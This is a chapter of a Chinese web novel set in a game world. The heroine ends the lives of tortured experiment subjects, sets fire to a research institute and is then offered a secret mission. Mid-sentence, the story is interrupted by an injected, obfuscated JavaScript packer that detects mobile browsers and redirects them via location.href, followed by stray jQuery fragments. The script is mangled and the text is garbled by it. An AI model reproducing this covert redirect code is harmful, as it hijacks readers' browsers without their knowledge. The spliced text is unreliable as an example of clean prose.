36. 送葬者

    南柯的视线在他们之间转圜,心中有了一个大概的猜想。


    “你...认识它?”


    “恩,她叫汤夏,是和我同期一起进入研究院的。”


    张谦凝望向前方的黄绿色兽眼中透着些许柔和的目光。


    “她天资聪慧,是我们这批初级研究员里天赋最好的,没多久她就被院长提拔为高级助手了。”


    “我的本领远不如她,只能给她打打下手,可她并没有嫌我愚钝,反而一直耐心的教导我。”


    张谦闭了闭眼,喉咙里挤出的话语逐渐变得干涩。


    “她是我的朋友,也是我的导师,我尊敬她,也仰慕她,可我没想到她惊人的才智竟然成为了葬送她的一把利刃。”


    听到这里,南柯不免感到了深深的唏嘘。


    “所以这里的实验体,都是被进行了融合实验的研究员么?”


    沉重的鳄鱼脑袋无力的上下摆了摆。


    “他们的灵魂被永远困在了已经畸形的身体里,再也无法逃离了。”


    “所以,我想拜托你的就是......”


    张谦环视着四周,许许多多的玻璃仓林立在他的周围,幽暗的绿色液体中还存活着各种外表怪异丑陋的融合实验体。


    “请你,终结他们的生命吧。”


    随着张谦的视线望去,南柯仿佛能看见畸形的躯壳中无数身着白大褂的年轻身影正在痛苦地挣扎着。


    这一刻,南柯忽然回想起了萨娜那天在生化处理厂外对她说的话。


    足够的强大才是阻止这一切悲剧的唯一途径。


    “明白了。”


    南柯拔出腰间的屠月刺,眉头却不自觉地紧紧蹙起。


    尽管南柯表现得如往常一般镇定自若,可在无人察觉到的角落,那微微颤抖的指尖还是出卖了此刻她内心交织的矛盾。


    突然,南柯感到的手背一热,一阵温热柔软的触感传了过来。


    “没事的。”


    原来是法法,它毛茸茸的小爪子轻轻搭在南柯的手背上。


    白色的卷毛小羊抬起脸,鎏金色的双瞳与南柯看向它的目光交织在一起。


    南柯竟然从那漆黑的方形瞳孔中感到一阵莫名的心安。


    南柯左右晃了晃脑袋,迫使自己不再去多想。


    稳定下情绪后,南柯朝法法点了点头,手中的屠月刺被她重新举起。


    这一次,南柯紧握住刀柄的手不再颤抖。


    似乎是在回应主人此刻的决心,匕首的表面竟然泛起了一层璀璨的金光。


    南柯挥动手中的短刀,不断使用着弱点锁定技能,将整个过程尽量缩减到最短的耗时。


    玄色的光翩然闪烁,不出几分钟,几乎所有玻璃仓的生命检测装置都停止了运作。


    一片黑暗中,只剩下汤夏所处的玻璃仓还亮着幽幽的光。


    南柯屏蔽了此刻耳边不断响起的技能升级提示音,慢慢走到张谦身边。


    “你想最后送送她吗?”


    张谦却摇了摇头,将脸扭到一边去。


    “放她自由吧,她已经被困了太久了,她不应该被泡在冰冷的观察仓里。”


    “恩。”


    似乎是察觉到了什么,玻璃仓里的汤夏放下了支撑在内壁上的双手。


    她罕见地闭上了那双黑色的眼睛,让自己的身体无所束缚的漂浮在这缸绿色的液体中,就仿佛她还是个无知觉的婴儿一般。


    象征着自由的寒芒闪过,汤夏的身体也在稠密的液体中缓缓上浮。


    她终于挣脱了日以继夜想要逃离的牢笼,飞向远方。


    粗哑的呜咽声终于还是从张谦的指缝中钻了出来。


    他的哭声仿佛一把生锈的锯子,在这归于寂静的实验室中拉扯出一个巨大的,名为悲伤的裂口。


    “恭喜你达成该地图隐藏成就,现为你发放本次成就奖励,特殊称号——送葬者。”


    “拥有该称号的玩家可以不受系统惩罚,任意击杀非同阵营npC。”


    考虑到污染研究院这个庞大的建筑群里尚有许多实验资料留存着。


    为了防止这些资料有朝一日被有心人利用,再次酿成如今的惨剧,南柯决定趁着研究员们避难,给污染研究院过一把火。


    将避难的消息传达给秦万里后,南柯将消防系统尽数破坏了,只留下几个排量较大的喷淋装置,防止大火持续蔓延到无法控制的地步。


    越窜越高的火焰反射在南柯的眼底,将纯净的琥珀色染上一丝灼热的红光。


    伴随着滚滚黑烟,这间不知进行了多少次罪恶行径的实验室再一次被南柯亲手燃起熊熊大火。


    “走了。”


    南柯一行人在研究员们充满震惊的目送中大摇大摆地从正门走出,只留下身后冲天的火光。


    “所以,你最后把污染研究院一把火烧了?”


    守门人眯着眼给南柯倒了杯茶水,他手上的动作十分沉稳,似乎对南柯的行为一点也没感到意外。


    “你看起来倒不是很惊讶。”


    南柯急急地喝了一口飘着花香的热茶,掀起眼皮瞥了一眼这个身着笔挺西装的男子。


    守门人笑了笑,在南柯身旁的椅子坐下。


    “夜盟的干员们都是这种不要命的性子,而你,南柯,你几乎是天生要成为夜盟干员的好苗子。”


    又是这一套说辞,南柯充分怀疑这个阵营的npC统一进行过对外宣传课程。


    “那么,你急吼吼的把我拉到没人的房间里,是要和我说些什么呢?”


    守门人还是一如既往笑眯眯的样子,他将身子后倾靠在椅背上,形成一个颇为放松的坐姿。


    “对啊,被你一打岔把正事忘了。”


    南柯仰头将茶水一饮而尽,手中的瓷制茶杯还冒着缕缕热气。


    “我想和你打听一个人,叫季无,你有印象吗?”


    听到这个名字,守门人几乎弹射一般猛地直起了身体,他的上半身往南柯的方向前倾,呈现出一种迫切的状态。


    “你是从哪里知道这个名字的?”


    南柯状似不经意地观察着守门人的微动作,同时心里也有了一个大致的判断。


    看来这个季无是个很重要的人物。


    “季无,也是夜盟的干员吗?”


    南柯并没有正面回答守门人的问题,而是选择了更加迂回的试探。


    守门人沉默了半晌,额际垂下一缕凌乱的发丝。


    “算是吧。”


    得到守门人肯定的回答,南柯这才放下心来,她将自己在污染研究院发现档案的经过和守门人说了个大概。


    当然,其中一些重要的部分还是被南柯刻意隐去了。


    “污染研究院吗……”


    守门人单手摸着下巴低头沉思起来,等他再抬起脸,那双平日里一直微眯着的凤眼缓缓睁开,露出如翡翠一般碧绿色的眼瞳。


    南柯有些稀奇地盯着守门人,毕竟这还是南柯来夜盟之后第一次看到守门人睁眼的样子。


    “兹事体大,我需要联系其他干员进行商议,你先在这里等一下,我很快回来。”


    说完,守门人径直起身离开了房间。


    也不知道他说的很快回来需要多久。


    正当口渴的南柯刚拎起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271418|161213||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    摆放在桌角的茶壶,打算为自己重新沏一壶茶水时,门把转动的声音就再次响起了。


    “抱歉,久等了。”


    守门人轻轻推门进来,他的声音听起来明显有些上气不接下气,那身原本熨烫得没有一丝褶皱的黑色西装,似乎也由于剧烈的运动而产生了不少折痕。


    很明显,他是一路小跑着回来的。


    跟在他身后进门的是一个高瘦的黑发女子,她的双眼上蒙着一条颇为显眼的黑色纱巾。


    注意到南柯也在,女子朝着南柯的方向微微颔首点头示意。


    竟然连一直在光明教会潜伏中的萨娜都直接赶来总部了,看来这个情报的重要程度非同小可。


    “时间紧迫,我先联系萨娜干员直接过来商议了,你们两个也比较相熟。”


    守门员捋了捋略显凌乱的外套,绅士的替萨娜拉开面前的座椅。


    “那么,南柯干员,可以请你再复述一遍自己在污染研究院的见闻吗?”


    “当然。”


    听完南柯的讲述,萨娜的表情也愈发紧绷起来。


    “你在污染研究院内部所发现的档案记录内容正是出自一名夜盟的重要干员,”萨娜顿了顿,语气略显凝重,“在此之前我们已经寻找了很久他的下落,却始终无法查找到有关他行踪的蛛丝马迹。”


    像夜盟这种将干员派去各个组织秘密潜伏的阵营应该早已建立专属的情报网络,通过四处遍布的眼线来找一个人应该不算什么难事。


    是什么身份的干员就连夜盟也找不到相关的消息呢?


    “你们之前没有对污染研究院进行过调查吗?”


    守门人摇了摇头。


    “早就进行过摸排了,前方传来的消息并没有异常。”


    确实,除非有干员能潜伏进王光北的核心实验团队,否则很难从常规的污染研究项目中看出端倪。


    要不是南柯意外在李婶那里得到那张来自邢星的员工卡,又怎么会成功进入深处的实验室从而探寻到王光北不为人知的秘密。


    忽然,南柯只觉得头皮泛起一阵令她牙齿打颤的酸麻。


    她总觉得似乎在冥冥之中,有一条看不见的线不断牵引着自己往前走。


    “南柯,他们正在问你问题。”


    开启单向传输模式的法法用只有南柯能听见的声音轻轻提醒着,将南柯的思绪瞬间拉回。


    “抱歉,你说什么?”


    萨娜并没有因为南柯的走神而表露出一丝不悦,她浅浅的笑了笑,平稳的语气中带着些安抚的意味。


    “我想问的是,南柯你在档案表上有看到关于季无能力的详细描述吗?”


    “恩...大部分内容都被人给划去了,而且当时情况紧急无法仔细辨认,能清晰辨别的只有再生两个字。”


    “再生啊......”


    萨娜微微侧过头,垂至胸前的两股发髻随着她的动作轻轻摇晃。


    南柯从萨娜与守门人的眼神交流中察觉出了一丝严肃的氛围。


    最终,南柯看到萨娜的后脑勺上下摆动了几下,似乎是冲着守门人点了点头。


    得到肯定的答复,守门人重新看向南柯。


    “南柯干员,接下来我说的话希望你能仔细听完,你将会被指名一项秘密任务,当然,与此同时,你的干员等级也会随之发生变动。”


    恢复眯眯眼状态的守门人掩藏起了他眼底的情绪,可南柯却能从他的语气中听出几分平日里没有的认真和严谨。


    “这项任务十分凶险,且任务的成败将会直接关乎到整个夜盟的命运。”


    “你,愿意接受吗?”